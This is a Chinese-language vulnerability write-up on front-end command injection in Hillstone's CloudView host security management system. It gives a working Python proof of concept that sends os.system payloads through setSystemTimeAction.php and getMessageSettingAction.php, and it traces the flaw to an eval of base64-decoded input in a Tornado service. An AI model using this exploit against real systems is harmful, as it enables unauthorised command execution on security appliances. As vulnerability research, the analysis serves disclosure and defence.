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山石云鉴主机安全管理系统前台任意命令执行
漏洞名称
山石网科云鉴存在前台任意命令执行漏洞
漏洞复现
POC
import requests import urllib3 urllib3.disable_warnings() base_url = "" ''' HSVD-2023-0008 ''' def setSystemTimeAction(newcsrf,headers): url = base_url + "/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf proxies = {'https':'http://127.0.0.1:8080'} x = "param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')" req2 = requests.post(url, data=x,headers=headers, verify=False) ''' HSVD-2023-0005 ''' def getMessageSettingAction(newcsrf,header): proxies = {'https':'http://127.0.0.1:8080'} company_uuid = "aaa" platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')" url = base_url + '/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel req = requests.get(url, headers=header, verify=False) print(req.text) def main(): headers = {"Cookie": "PHPSESSID=emhpeXVhbg;", "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8" } url = base_url + "/master/ajaxActions/getTokenAction.php" req = requests.post(url, verify=False, headers=headers) newcsrf = req.text.replace("\n", "") setSystemTimeAction(newcsrf,headers) reshell = requests.get(base_url + '/master/img/config',verify=False) print('---------------------cmd-------------------------') print(reshell.text) if __name__ == '__main__': main() 漏洞分析
根据 poc 可知关键函数为 setSystemTimeAction，关键请求为 base_url + "/master/ajaxActions/setSystemTimeAction.php，post 请求的参数为 param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config')
先分析 setSystemTimeAction.php 文件如何处理 http 请求
master\runtime\ajaxActions\setSystemTimeAction.php
<?php include "../permission.php"; if(!isPermission('operator')){ echo "F"; return; }else if(!verifyToken()){ echo "F"; return; } include_once "../includeUtils.php"; session_write_close(); $param= $_POST['param']; $param=base64_encode($param); $resp=setSysTime($param); $resp = array("Status"=>$resp['status'], "Result"=>json_decode($resp['body'])); echo json_encode($resp,JSON_UNESCAPED_UNICODE); ?> 第 13、14行，将参数 x base64 编码后传递给 setSysTime 函数
function setSysTime($param){ return handleEmptyResult(postCommand("set-mp-time|".$param)); } setSysTime 中又调用了 postCommand
function postCommand($parameter){ $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); // POST curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter); // POST param curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $url = "http://".$GLOBALS['serverNm'].":8000/"; // URL writeLog('post param is '.$parameter, 2); writeLog('url is '.$url, 2); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $headers = array( "Content-Length: ".strlen($parameter), "Content-Type: application/x-www-form-urlencoded" ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $result = curl_exec ($ch); writeLog('post api returns:'.$result, 2); $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE); writeLog($url.' status:'.$httpCode, 2); writeLog($url.' get api returns:'.$result, 2); curl_close ($ch); return array("status"=>$httpCode, "body"=>$result); } postCommand 函数的主要功能是通过 curl 做 http post 请求链接 http://127.0.0.1:8000/
通过netstat -lntp查看监听 8000 端口进程的 pid，得知执行进程的命令
netstat -lntp ...... ps -p 2436 -o pid,ppid,cmd // ---------------------cmd------------------------- PID PPID CMD 2436 1 python /opt/var/majorsec/installation/base/runtime/bin/python /opt/var/majorsec/installation/base/scripts/service/yamin/main.py 下面分析 /opt/var/majorsec/installation/base/scripts/service/yamin/main.py 是如何处理 http 请求的
此文件是一个基于 Tornado 框架的 Web 服务程序，它提供了一个接收 POST 请求的接口
介绍 — Tornado 4.3 文档 (tornado-zh.readthedocs.io)
主要处理逻辑 CommandHandler post 如下
class CommandHandler (tornado.web.RequestHandler): # @gen.coroutine def post(self): try: logging.debug('\n'.join( '{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all() )) logging.debug(self.request.body) command = self.request.body ret, msg = routeCommand(command, self) if ret and ret != "alreadySendToFrontEnd": self.write(msg) self.finish() elif not ret: logging.error(msg) raise Exception(msg) except Exception as e: logging.error("CommandHandler Exception: {}".format(e)) raise tornado.web.HTTPError(400) 第 10、11 行将 http body 传递给了 routeCommand 处理
def routeCommand(commandline, handler): global conf if not commandline: return False, "Invalid command" if len(commandline) > 4096 or len(commandline) < 4: return False, "Invalid command" command, args = None, None try: l = commandline.split('|', 1) command, args = l[:2] if len(l) > 1 else (l[0], '') except Exception as e: return False, "Cannot parse {}:{}".format(commandline, e) stage = getStage() if command not in commands[stage]: return False, "Invalid command {0} at stage {1}".format(command, stage) if stage in (2, 3) and not initStore(): return False, "Unavailable service" conf['server'] = handler try: command = command.replace('-', '_') return eval(command)(args=args.split('|'), conf=conf, store=store) except Exception as e: return False, e routeCommand 功能为分割参数 commandline，将 | 之前的字符串赋值给 command，之后的赋值给 args，然后将 command 字符串中的- 替换为 _，最后通过 eval 执行此字符串
例如 commandline = "set-mp-time|base64_encode($param)"，处理后 command = "set_mp_time"，args = base64_encode($param)
下面分析 eval 执行的函数 set_mp_time(args) 的功能，位于 installation\base\scripts\service\yamin\set_command.py
def set_mp_time(**kwargs): args = kwargs['args'] try: time_config_keys = ["config", "zone", "datetime", "ntp_server_1", "ntp_server_2"] try: conf = eval(base64.b64decode(args[0])) logging.info("get time config request: {}".format(conf)) for config_key in time_config_keys: if config_key not in conf: raise Exception("not found key: {}".format(config_key)) except Exception as e: return True, setResult(1, errmsg="unexpected args: {}".format(e)) if not conf["zone"] == "" and not conf["zone"] == get_my_timezone(): logging.info("start to set timezone: {}".format(conf["zone"])) logging.debug("timedatectl set-timezone {0}".format(conf["zone"])) sys_command.run_sys_cmd("timedatectl set-timezone {0}".format(conf["zone"])) php_conf_file = "/opt/etc/php.d/majorsec.ini" if not os.access(php_conf_file, os.R_OK): php_conf_file = "/opt/php/etc/php.d/majorsec.ini" zone_setting = "date.timezone = {}".format(conf["zone"]) zone_setting = zone_setting.replace('/', '\/') with open(php_conf_file, 'r') as php_conf: php_zone = php_conf.readlines()[0].strip().replace('/', '\/') logging.debug("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file)) sys_command.run_sys_cmd("sed -i -r 's/{0}/{1}/g' {2}".format(php_zone, zone_setting, php_conf_file)) if conf["config"] == "local": if conf['datetime']: try: date = conf['datetime'].split(" ")[0] Time = conf['datetime'].split(" ")[1] except Exception: raise Exception("parse datetime failed: {}".format(conf["datetime"])) logging.debug("timedatectl set-ntp false") sys_command.run_sys_cmd("timedatectl set-ntp false") logging.debug("stop and disable chronyd service") sys_command.run_sys_cmd("systemctl stop chronyd.service") sys_command.run_sys_cmd("systemctl disable chronyd.service") logging.debug('timedatectl set-time "{0} {1}"'.format(date, Time)) sys_command.run_sys_cmd('timedatectl set-time "{0} {1}"'.format(date, Time)) sys_command.run_sys_cmd("clock -w") time.sleep(1) else: logging.debug("enable and start chronyd service") sys_command.run_sys_cmd("systemctl enable chronyd.service") p = ConfigParser.ConfigParser() p.read(base_ini_path) all_sections = p.sections() if 'ntp' not in all_sections: p.add_section('ntp') p.set('ntp', 'server1', conf['ntp_server_1']) p.set('ntp', 'server2', conf['ntp_server_2']) p.write(open(base_ini_path, 'w')) sync_setting_to_chronyd() sys_command.run_sys_cmd("chronyc -a makestep") return True, setResult(0, '') except Exception as e: sys_command.run_sys_cmd("rm -f /opt/tmp/nginx/.first_config_running") logging.error("set time config exception: {}".format(e)) return True, setResult(1, errmsg="{}".format(e)) 关键代码为第 7 行 conf = eval(base64.b64decode(args[0]))，通过 eval 执行了 base64 解码的参数
类似功能的简化代码如下
import os def set_mp_time(args): eval(args[0]) cmd = "set_mp_time" args = "os.system('whoami')" eval(cmd)(args = args.split('|')) 其中 args 是由 $param= $_POST['param']; 传递来的，所以 payload 为 param=os.system('whoami > /opt/var/majorsec/installation/master/runtime/img/config') ，由于没有回显，所以要将命令执行结果重定向到可以访问的文件中，最后通过访问 http://url/master/img/config 查看命令结果
